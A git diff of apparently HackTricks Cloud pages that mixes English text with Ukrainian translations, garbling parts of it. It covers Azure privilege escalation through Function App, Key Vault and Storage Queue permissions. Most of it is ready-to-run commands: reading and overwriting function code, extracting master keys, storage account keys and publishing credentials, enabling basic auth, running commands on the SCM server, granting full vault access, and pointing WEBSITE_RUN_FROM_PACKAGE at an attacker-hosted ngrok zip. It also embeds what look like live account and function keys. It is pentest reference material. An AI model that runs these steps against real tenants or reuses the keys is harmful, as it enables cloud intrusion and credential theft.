curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
|
||||
```
|
||||
|
||||
And to **change the code that is being executed** in the function with:
|
||||
|
||||
І щоб **змінити код, який виконується** у функції з:
|
||||
```bash
|
||||
# Set the code to set in the function in /tmp/function_app.py
|
||||
## The following continues using the python example
|
||||
@@ -158,73 +143,57 @@ curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwro
|
||||
-H "If-Match: *" \
|
||||
-v
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/functions/listKeys/action
|
||||
|
||||
This permission allows to get the host key, of the specified function with:
|
||||
|
||||
Цей дозвіл дозволяє отримати ключ хоста вказаної функції з:
|
||||
```bash
|
||||
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/host/functionKeys/write
|
||||
|
||||
This permission allows to create/update a function key of the specified function with:
|
||||
|
||||
Цей дозвіл дозволяє створювати/оновлювати ключ функції вказаної функції з:
|
||||
```bash
|
||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/host/masterKey/write
|
||||
|
||||
This permission allows to create/update a master key to the specified function with:
|
||||
|
||||
Ця дозволяє створювати/оновлювати майстер-ключ для вказаної функції з:
|
||||
```bash
|
||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> Remember that with this key you can also access the source code and modify it as explained before!
|
||||
> Пам'ятайте, що з цим ключем ви також можете отримати доступ до вихідного коду та змінювати його, як було пояснено раніше!
|
||||
|
||||
### Microsoft.Web/sites/host/systemKeys/write
|
||||
|
||||
This permission allows to create/update a system function key to the specified function with:
|
||||
|
||||
Ця дозволяє створювати/оновлювати системний ключ функції для вказаної функції з:
|
||||
```bash
|
||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/config/list/action
|
||||
|
||||
This permission allows to get the settings of a function. Inside these configurations it might be possible to find the default values **`AzureWebJobsStorage`** or **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** which contains an **account key to access the blob storage of the function with FULL permissions**.
|
||||
|
||||
Ця дозволяє отримати налаштування функції. У цих конфігураціях може бути можливість знайти значення за замовчуванням **`AzureWebJobsStorage`** або **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**, які містять **ключ облікового запису для доступу до блоб-сховища функції з ПОВНИМИ правами**.
|
||||
```bash
|
||||
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
|
||||
```
|
||||
|
||||
Moreover, this permission also allows to get the **SCM username and password** (if enabled) with:
|
||||
|
||||
Крім того, це дозволяє отримати **SCM ім'я користувача та пароль** (якщо увімкнено) за допомогою:
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write
|
||||
|
||||
These permissions allows to list the config values of a function as we have seen before plus **modify these values**. This is useful because these settings indicate where the code to execute inside the function is located. 
|
||||
Ці дозволи дозволяють перераховувати значення конфігурації функції, як ми бачили раніше, плюс **модифікувати ці значення**. Це корисно, оскільки ці налаштування вказують, де розташований код для виконання всередині функції. 
|
||||
|
||||
It's therefore possible to set the value of the setting **`WEBSITE_RUN_FROM_PACKAGE`** pointing to an URL zip file containing the new code to execute inside a web application:
|
||||
|
||||
- Start by getting the current config
|
||||
Отже, можливо встановити значення налаштування **`WEBSITE_RUN_FROM_PACKAGE`**, яке вказує на URL zip-файл, що містить новий код для виконання всередині веб-додатку:
|
||||
|
||||
- Почніть з отримання поточної конфігурації
|
||||
```bash
|
||||
az functionapp config appsettings list \
|
||||
--name <app-name> \
|
||||
--resource-group <res-name>
|
||||
--name <app-name> \
|
||||
--resource-group <res-name>
|
||||
```
|
||||
|
||||
- Create the code you want the function to run and host it publicly
|
||||
|
||||
- Створіть код, який ви хочете, щоб функція виконувала, і розмістіть його публічно
|
||||
```bash
|
||||
# Write inside /tmp/web/function_app.py the code of the function
|
||||
cd /tmp/web/function_app.py
|
||||
@@ -234,228 +203,189 @@ python3 -m http.server
|
||||
# Serve it using ngrok for example
|
||||
ngrok http 8000
|
||||
```
|
||||
- Змініть функцію, збережіть попередні параметри та додайте в кінці конфігурацію **`WEBSITE_RUN_FROM_PACKAGE`**, що вказує на URL з **zip**, що містить код.
|
||||
|
||||
- Modify the function, keep the previous parameters and add at the end the config **`WEBSITE_RUN_FROM_PACKAGE`** pointing to the URL with the **zip** containing the code.
|
||||
|
||||
The following is an example of my **own settings you will need to change the values for yours**, note at the end the values `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"` , this is where I was hosting the app.
|
||||
|
||||
Наступний приклад моїх **власних налаштувань, які вам потрібно змінити на ваші**, зверніть увагу в кінці на значення `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, тут я розміщував додаток.
|
||||
```bash
|
||||
# Modify the function
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/newfunctiontestlatestrelease/config/appsettings?api-version=2023-01-01" \
|
||||
--headers '{"Content-Type": "application/json"}' \
|
||||
--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'
|
||||
--uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/newfunctiontestlatestrelease/config/appsettings?api-version=2023-01-01" \
|
||||
--headers '{"Content-Type": "application/json"}' \
|
||||
--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/hostruntime/vfs/write
|
||||
|
||||
With this permission it's **possible to modify the code of an application** through the web console (or through the following API endpoint):
|
||||
|
||||
З цією дозволом **можливо змінювати код програми** через веб-консоль (або через наступну API точку доступу):
|
||||
```bash
|
||||
# This is a python example, so we will be overwritting function_app.py
|
||||
# Store in /tmp/body the raw python code to put in the function
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
|
||||
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
|
||||
--body @/tmp/body
|
||||
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
|
||||
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
|
||||
--body @/tmp/body
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write)
|
||||
|
||||
This permissions allows to list all the publishing profiles which basically contains **basic auth credentials**:
|
||||
|
||||
Ці дозволи дозволяють перерахувати всі профілі публікації, які в основному містять **базові облікові дані аутентифікації**:
|
||||
```bash
|
||||
# Get creds
|
||||
az functionapp deployment list-publishing-profiles \
|
||||
--name <app-name> \
|
||||
--resource-group <res-name> \
|
||||
--output json
|
||||
--name <app-name> \
|
||||
--resource-group <res-name> \
|
||||
--output json
|
||||
```
|
||||
|
||||
Another option would be to set you own creds and use them using:
|
||||
|
||||
Ще один варіант - встановити свої власні облікові дані та використовувати їх за допомогою:
|
||||
```bash
|
||||
az functionapp deployment user set \
|
||||
--user-name DeployUser123456 g \
|
||||
--password 'P@ssw0rd123!'
|
||||
--user-name DeployUser123456 g \
|
||||
--password 'P@ssw0rd123!'
|
||||
```
|
||||
- Якщо облікові дані **REDACTED**
|
||||
|
||||
- If **REDACTED** credentials
|
||||
|
||||
If you see that those credentials are **REDACTED**, it's because you **need to enable the SCM basic authentication option** and for that you need the second permission (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
|
||||
|
||||
Якщо ви бачите, що ці облікові дані **REDACTED**, це тому, що вам **необхідно увімкнути параметр базової аутентифікації SCM** і для цього вам потрібен другий дозвіл (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
|
||||
```bash
|
||||
# Enable basic authentication for SCM
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"allow": true
|
||||
}
|
||||
}'
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"allow": true
|
||||
}
|
||||
}'
|
||||
|
||||
# Enable basic authentication for FTP
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"allow": true
|
||||
}
|
||||
}
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"allow": true
|
||||
}
|
||||
}
|
||||
```
|
||||
- **Метод SCM**
|
||||
|
||||
- **Method SCM**
|
||||
|
||||
Then, you can access with these **basic auth credentials to the SCM URL** of your function app and get the values of the env variables:
|
||||
|
||||
Тоді ви можете отримати доступ до **SCM URL** вашого функціонального додатку з цими **базовими обліковими даними** та отримати значення змінних середовища:
|
||||
```bash
|
||||
# Get settings values
|
||||
curl -u '<username>:<password>' \
|
||||
https://<app-name>.scm.azurewebsites.net/api/settings -v
|
||||
https://<app-name>.scm.azurewebsites.net/api/settings -v
|
||||
|
||||
# Deploy code to the funciton
|
||||
zip function_app.zip function_app.py # Your code in function_app.py
|
||||
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
|
||||
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
|
||||
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
|
||||
```
|
||||
_Зверніть увагу, що **ім'я користувача SCM** зазвичай є символом "$", за яким слідує назва програми, отже: `$<app-name>`._
|
||||
|
||||
_Note that the **SCM username** is usually the char "$" followed by the name of the app, so: `$<app-name>`._
|
||||
Ви також можете отримати доступ до веб-сторінки за адресою `https://<app-name>.scm.azurewebsites.net/BasicAuth`
|
||||
|
||||
You can also access the web page from `https://<app-name>.scm.azurewebsites.net/BasicAuth`
|
||||
Значення налаштувань містять **AccountKey** облікового запису зберігання, що зберігає дані програми функцій, що дозволяє контролювати цей обліковий запис зберігання.
|
||||
|
||||
The settings values contains the **AccountKey** of the storage account storing the data of the function app, allowing to control that storage account.
|
||||
|
||||
- **Method FTP**
|
||||
|
||||
Connect to the FTP server using:
|
||||
- **Метод FTP**
|
||||
|
||||
Підключіться до FTP-сервера, використовуючи:
|
||||
```bash
|
||||
# macOS install lftp
|
||||
brew install lftp
|
||||
|
||||
# Connect using lftp
|
||||
lftp -u '<username>','<password>' \
|
||||
ftps://waws-prod-yq1-005dr.ftp.azurewebsites.windows.net/site/wwwroot/
|
||||
ftps://waws-prod-yq1-005dr.ftp.azurewebsites.windows.net/site/wwwroot/
|
||||
|
||||
# Some commands
|
||||
ls # List
|
||||
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
|
||||
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
|
||||
```
|
||||
|
||||
_Note that the **FTP username** is usually in the format \<app-name>\\$\<app-name>._
|
||||
_Зверніть увагу, що **FTP-ім'я користувача** зазвичай має формат \<app-name>\\$\<app-name>._
|
||||
|
||||
### Microsoft.Web/sites/publish/Action
|
||||
|
||||
According to [**the docs**](https://github.com/projectkudu/kudu/wiki/REST-API#command), this permission allows to **execute commands inside the SCM server** which could be used to modify the source code of the application:
|
||||
|
||||
Згідно з [**документацією**](https://github.com/projectkudu/kudu/wiki/REST-API#command), це дозволення дозволяє **виконувати команди всередині сервера SCM**, що може бути використано для зміни вихідного коду програми:
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--resource "https://management.azure.com/" \
|
||||
--url "https://newfuncttest123.scm.azurewebsites.net/api/command" \
|
||||
--body '{"command": "echo Hello World", "dir": "site\\repository"}' --debug
|
||||
--resource "https://management.azure.com/" \
|
||||
--url "https://newfuncttest123.scm.azurewebsites.net/api/command" \
|
||||
--body '{"command": "echo Hello World", "dir": "site\\repository"}' --debug
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/hostruntime/vfs/read
|
||||
|
||||
This permission allows to **read the source code** of the app through the VFS:
|
||||
|
||||
Ця дозволяє **читати вихідний код** програми через VFS:
|
||||
```bash
|
||||
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/functions/token/action
|
||||
|
||||
With this permission it's possible to [get the **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) which can be later used to retrieve the **master key** and therefore access and modify the function's code:
|
||||
|
||||
З цією дозволом можливо [отримати **адміністративний токен**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01), який можна пізніше використати для отримання **майстер-ключа** і, отже, доступу та зміни коду функції:
|
||||
```bash
|
||||
# Get admin token
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01" \
|
||||
--headers '{"Content-Type": "application/json"}' \
|
||||
--debug
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01" \
|
||||
--headers '{"Content-Type": "application/json"}' \
|
||||
--debug
|
||||
|
||||
# Get master key
|
||||
curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
|
||||
-H "Authorization: Bearer <token>"
|
||||
-H "Authorization: Bearer <token>"
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/config/write, (Microsoft.Web/sites/functions/properties/read)
|
||||
|
||||
This permissions allows to **enable functions** that might be disabled (or disable them).
|
||||
|
||||
Ці дозволи дозволяють **включати функції**, які можуть бути вимкнені (або вимикати їх).
|
||||
```bash
|
||||
# Enable a disabled function
|
||||
az functionapp config appsettings set \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
--settings "AzureWebJobs.http_trigger1.Disabled=false"
|
||||
--name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
--settings "AzureWebJobs.http_trigger1.Disabled=false"
|
||||
```
|
||||
|
||||
It's also possible to see if a function is enabled or disabled in the following URL (using the permission in parenthesis):
|
||||
|
||||
Також можливо перевірити, чи функція увімкнена або вимкнена за наступною URL-адресою (використовуючи дозволи в дужках):
|
||||
```bash
|
||||
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/config/write, Microsoft.Web/sites/config/list/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/read)
|
||||
|
||||
With these permissions it's possible to **modify the container run by a function app** configured to run a container. This would allow an attacker to upload a malicious azure function container app to docker hub (for example) and make the function execute it.
|
||||
|
||||
З цими дозволами можливо **модифікувати контейнер, що виконується функціональним додатком**, налаштованим для запуску контейнера. Це дозволить зловмиснику завантажити шкідливий контейнер додатку azure function на docker hub (наприклад) і змусити функцію виконати його.
|
||||
```bash
|
||||
az functionapp config container set --name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"
|
||||
--resource-group <res-group> \
|
||||
--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/operationresults/read)
|
||||
|
||||
With these permissions it's possible to **attach a new user managed identity to a function**. If the function was compromised this would allow to escalate privileges to any user managed identity.
|
||||
|
||||
З цими дозволами можливо **прикріпити нову керовану користувачем ідентичність до функції**. Якщо функція була скомпрометована, це дозволить підвищити привілеї до будь-якої керованої користувачем ідентичності.
|
||||
```bash
|
||||
az functionapp identity assign \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
|
||||
--name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
|
||||
```
|
||||
|
||||
### Remote Debugging
|
||||
|
||||
It's also possible to connect to debug a running Azure function as [**explained in the docs**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). However, by default Azure will turn this option to off in 2 days in case the developer forgets to avoid leaving vulnerable configurations.
|
||||
|
||||
It's possible to check if a Function has debugging enabled with:
|
||||
Також можливо підключитися для налагодження працюючої Azure функції, як [**пояснено в документації**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Однак за замовчуванням Azure вимкне цю опцію через 2 дні, якщо розробник забуде, щоб уникнути залишення вразливих конфігурацій.
|
||||
|
||||
Можливо перевірити, чи увімкнено налагодження для функції за допомогою:
|
||||
```bash
|
||||
az functionapp show --name <app-name> --resource-group <res-group>
|
||||
```
|
||||
|
||||
Having the permission `Microsoft.Web/sites/config/write` it's also possible to put a function in debugging mode (the following command also requires the permissions `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` and `Microsoft.Web/sites/Read`).
|
||||
|
||||
Маючи дозвіл `Microsoft.Web/sites/config/write`, також можливо перевести функцію в режим налагодження (наступна команда також вимагає дозволів `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` та `Microsoft.Web/sites/Read`).
|
||||
```bash
|
||||
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
|
||||
```
|
||||
### Зміна репозиторію Github
|
||||
|
||||
### Change Github repo
|
||||
|
||||
I tried changing the Github repo from where the deploying is occurring by executing the following commands but even if it did change, **the new code was not loaded** (probably because it's expecting the Github Action to update the code).\
|
||||
Moreover, the **managed identity federated credential wasn't updated** allowing the new repository, so it looks like this isn't very useful.
|
||||
|
||||
Я намагався змінити репозиторій Github, з якого відбувається розгортання, виконавши наступні команди, але навіть якщо він і змінився, **новий код не був завантажений** (ймовірно, тому що він очікує, що Github Action оновить код).\
|
||||
Більше того, **управляємий обліковий запис федеративних облікових даних не був оновлений**, що дозволяє новому репозиторію, тому виглядає так, що це не дуже корисно.
|
||||
```bash
|
||||
# Remove current
|
||||
az functionapp deployment source delete \
|
||||
--name funcGithub \
|
||||
--resource-group Resource_Group_1
|
||||
--name funcGithub \
|
||||
--resource-group Resource_Group_1
|
||||
|
||||
# Load new public repo
|
||||
az functionapp deployment source config \
|
||||
--name funcGithub \
|
||||
--resource-group Resource_Group_1 \
|
||||
--repo-url "https://github.com/orgname/azure_func3" \
|
||||
--branch main --github-action true
|
||||
--name funcGithub \
|
||||
--resource-group Resource_Group_1 \
|
||||
--repo-url "https://github.com/orgname/azure_func3" \
|
||||
--branch main --github-action true
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Azure Key Vault
|
||||
|
||||
For more information about this service check:
|
||||
Для отримання додаткової інформації про цей сервіс перегляньте:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/keyvault.md
|
||||
@@ -12,8 +12,7 @@ For more information about this service check:
|
||||
|
||||
### Microsoft.KeyVault/vaults/write
|
||||
|
||||
An attacker with this permission will be able to modify the policy of a key vault (the key vault must be using access policies instead of RBAC).
|
||||
|
||||
Зловмисник з цим дозволом зможе змінити політику сховища ключів (сховище ключів повинно використовувати політики доступу замість RBAC).
|
||||
```bash
|
||||
# If access policies in the output, then you can abuse it
|
||||
az keyvault show --name <vault-name>
|
||||
@@ -23,16 +22,11 @@ az ad signed-in-user show --query id --output tsv
|
||||
|
||||
# Assign all permissions
|
||||
az keyvault set-policy \
|
||||
--name <vault-name> \
|
||||
--object-id <your-object-id> \
|
||||
--key-permissions all \
|
||||
--secret-permissions all \
|
||||
--certificate-permissions all \
|
||||
--storage-permissions all
|
||||
--name <vault-name> \
|
||||
--object-id <your-object-id> \
|
||||
--key-permissions all \
|
||||
--secret-permissions all \
|
||||
--certificate-permissions all \
|
||||
--storage-permissions all
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Queue
|
||||
|
||||
For more information check:
|
||||
Для отримання додаткової інформації перегляньте:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-queue-enum.md
|
||||
@@ -12,50 +12,41 @@ For more information check:
|
||||
|
||||
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/read`
|
||||
|
||||
An attacker with this permission can peek messages from an Azure Storage Queue. This allows the attacker to view the content of messages without marking them as processed or altering their state. This could lead to unauthorized access to sensitive information, enabling data exfiltration or gathering intelligence for further attacks.
|
||||
|
||||
Зловмисник з цим дозволом може переглядати повідомлення з Azure Storage Queue. Це дозволяє зловмиснику бачити вміст повідомлень, не позначаючи їх як оброблені або не змінюючи їхній стан. Це може призвести до несанкціонованого доступу до чутливої інформації, що дозволяє витік даних або збір розвідки для подальших атак.
|
||||
```bash
|
||||
az storage message peek --queue-name <queue_name> --account-name <storage_account>
|
||||
```
|
||||
|
||||
**Potential Impact**: Unauthorized access to the queue, message exposure, or queue manipulation by unauthorized users or services.
|
||||
**Потенційний вплив**: Несанкціонований доступ до черги, витік повідомлень або маніпуляція чергою з боку несанкціонованих користувачів або сервісів.
|
||||
|
||||
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/process/action`
|
||||
|
||||
With this permission, an attacker can retrieve and process messages from an Azure Storage Queue. This means they can read the message content and mark it as processed, effectively hiding it from legitimate systems. This could lead to sensitive data being exposed, disruptions in how messages are handled, or even stopping important workflows by making messages unavailable to their intended users.
|
||||
|
||||
З цією дозволом зловмисник може отримувати та обробляти повідомлення з Azure Storage Queue. Це означає, що вони можуть читати вміст повідомлень і позначати їх як оброблені, ефективно приховуючи їх від легітимних систем. Це може призвести до витоку чутливих даних, порушень у обробці повідомлень або навіть зупинки важливих робочих процесів, роблячи повідомлення недоступними для їх призначених користувачів.
|
||||
```bash
|
||||
az storage message get --queue-name <queue_name> --account-name <storage_account>
|
||||
```
|
||||
|
||||
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/add/action`
|
||||
|
||||
With this permission, an attacker can add new messages to an Azure Storage Queue. This allows them to inject malicious or unauthorized data into the queue, potentially triggering unintended actions or disrupting downstream services that process the messages.
|
||||
|
||||
З цією дозволом зловмисник може додавати нові повідомлення до черги Azure Storage. Це дозволяє їм інжектувати шкідливі або несанкціоновані дані в чергу, що потенційно може викликати непередбачувані дії або порушити роботу downstream-сервісів, які обробляють повідомлення.
|
||||
```bash
|
||||
az storage message put --queue-name <queue-name> --content "Injected malicious message" --account-name <storage-account>
|
||||
```
|
||||
|
||||
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/write`
|
||||
|
||||
This permission allows an attacker to add new messages or update existing ones in an Azure Storage Queue. By using this, they could insert harmful content or alter existing messages, potentially misleading applications or causing undesired behaviors in systems that rely on the queue.
|
||||
|
||||
Цей дозвіл дозволяє зловмиснику додавати нові повідомлення або оновлювати існуючі в Azure Storage Queue. Використовуючи це, вони можуть вставляти шкідливий контент або змінювати існуючі повідомлення, потенційно вводячи в оману програми або викликаючи небажану поведінку в системах, які покладаються на чергу.
|
||||
```bash
|
||||
az storage message put --queue-name <queue-name> --content "Injected malicious message" --account-name <storage-account>
|
||||
|
||||
#Update the message
|
||||
az storage message update --queue-name <queue-name> \
|
||||
--id <message-id> \
|
||||
--pop-receipt <pop-receipt> \
|
||||
--content "Updated message content" \
|
||||
--visibility-timeout <timeout-in-seconds> \
|
||||
--account-name <storage-account>
|
||||
--id <message-id> \
|
||||
--pop-receipt <pop-receipt> \
|
||||
--content "Updated message content" \
|
||||
--visibility-timeout <timeout-in-seconds> \
|
||||
--account-name <storage-account>
|
||||
```
|
||||
|
||||
### Action: `Microsoft.Storage/storageAccounts/queueServices/queues/write`
|
||||
|
||||
This permission allows an attacker to create or modify queues and their properties within the storage account. It can be used to create unauthorized queues, modify metadata, or change access control lists (ACLs) to grant or restrict access. This capability could disrupt workflows, inject malicious data, exfiltrate sensitive information, or manipulate queue settings to enable further attacks.
|
||||
|
||||
Цей дозвіл дозволяє зловмиснику створювати або змінювати черги та їх властивості в межах облікового запису зберігання. Його можна використовувати для створення несанкціонованих черг, зміни метаданих або зміни списків контролю доступу (ACL), щоб надати або обмежити доступ. Ця можливість може порушити робочі процеси, ввести шкідливі дані, ексфільтрувати чутливу інформацію або маніпулювати налаштуваннями черги для подальших атак.
|
||||
```bash
|
||||
az storage queue create --name <new-queue-name> --account-name <storage-account>
|
||||
|
||||
